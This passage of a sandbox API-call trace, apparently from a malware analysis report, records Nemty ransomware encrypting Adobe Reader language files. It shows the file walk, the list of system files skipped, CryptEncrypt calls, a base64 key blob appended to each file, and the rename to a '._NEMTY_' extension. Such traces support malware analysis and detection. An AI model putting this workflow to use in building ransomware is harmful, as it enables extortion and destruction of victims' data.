Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.486] Sleep (dwMilliseconds=0x5) [0216.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34adad90, dwHighDateTime=0x1d561e8)) [0216.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34adad90, dwHighDateTime=0x1d561e8)) [0216.495] GetLastError () returned 0x0 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.495] GetLastError () returned 0x0 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.495] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.495] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="ByYRv0KhtT7PsipbxBb+QK53kdULOUKBWoHuG4qlyQG2eRH69n/6I3ThQUFTenWJ\r\n33+bU5Q7ePhciy3c0cOtoNWIHS3aG7dVNtaYptUHc917kkwrrOYh961o7eRwWCjX\r\neTqW68/i/UR0UwxyAN70i/fFbQuaDnn9DEYiMYfajnE8sX2x2OLvzlo3tBG9Y3+1\r\nEQh+A9n1cOTfmAIzlKt8rDg66kmn8S5OwpQlK+VI3dNz58ddQGJxjp4RN4uWi/l8\r\nH6pBnp4wmiOvYcWQ+U5l6jmWK5rhJ8IQEy66gGaIMoaW3KWWhjj0LNUWEBuXEKqy\r\n4pE8ADL9x8DnOf6LkuTbBQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.496] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29262) returned 1 [0216.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7240) returned 0x6352c48 [0216.496] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.496] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7240, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7240, lpOverlapped=0x0) returned 1 [0216.499] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.499] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7240, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7240, lpOverlapped=0x0) returned 1 [0216.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.499] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x724e [0216.499] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.500] CloseHandle (hObject=0x2e8) returned 1 [0216.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.500] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt._nemty_kgobjgd_")) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.501] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.uk_UA.txt", cAlternateFileName="DICC10~1.TXT")) returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2=".") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="..") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="...") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="windows") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="rsa") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="NTDETECT.COM") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="ntldr") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="MSDOS.SYS") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="IO.SYS") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="boot.ini") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="boot.ini") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="ntuser.dat") returned -1 [0216.501] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="desktop.ini") returned 1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="CONFIG.SYS") returned 1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="RECYCLER") returned -1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="bootmgr") returned 1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="programdata") returned -1 [0216.502] lstrcmpiW (lpString1="DisplayLanguageNames.uk_UA.txt", lpString2="appdata") returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.502] Sleep (dwMilliseconds=0x5) [0216.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b00ef0, dwHighDateTime=0x1d561e8)) [0216.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b00ef0, dwHighDateTime=0x1d561e8)) [0216.510] GetLastError () returned 0x0 [0216.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.510] GetLastError () returned 0x0 [0216.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.510] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.511] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.511] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.511] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="/OlFuu1shKC9pqouAw1RmS34BIudkrmvdiROVYNSVUebpkLZZIKHp4UpwC1XOl1k\r\nYmfIGmLRt8O9aFchVgz6cC4zOn3TvQt9tDT82Ei2nr8O/5WMilMGeKwjPiNk/sUu\r\n6zZlD34dBnt6RNE383AcQRk5vI0qW6K7xTdl8jB8K7dS1gwjq71dy82pViuJDTz0\r\n86BLYc+Ky7EgmLGqtr98UajYik5s3PQhWo73B2dTpZBifxjFzylVGY9oOtaElwbm\r\noWpKAhQ1NQ/QA1nN61WWGhQLCafgmLgTvGsQwyBo9CZdK5UHre9IXdx6UOhbTvyz\r\nqm9Ny6Nc9Mkbj/BF+u8TYA==\r\n", pcchString=0x653e5dc) returned 1 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.511] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29262) returned 1 [0216.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7240) returned 0x6352c48 [0216.511] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.511] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7240, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7240, lpOverlapped=0x0) returned 1 [0216.515] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.515] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7240, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7240, lpOverlapped=0x0) returned 1 [0216.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.515] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x724e [0216.515] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.515] CloseHandle (hObject=0x2e8) returned 1 [0216.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.515] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt._nemty_kgobjgd_")) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: 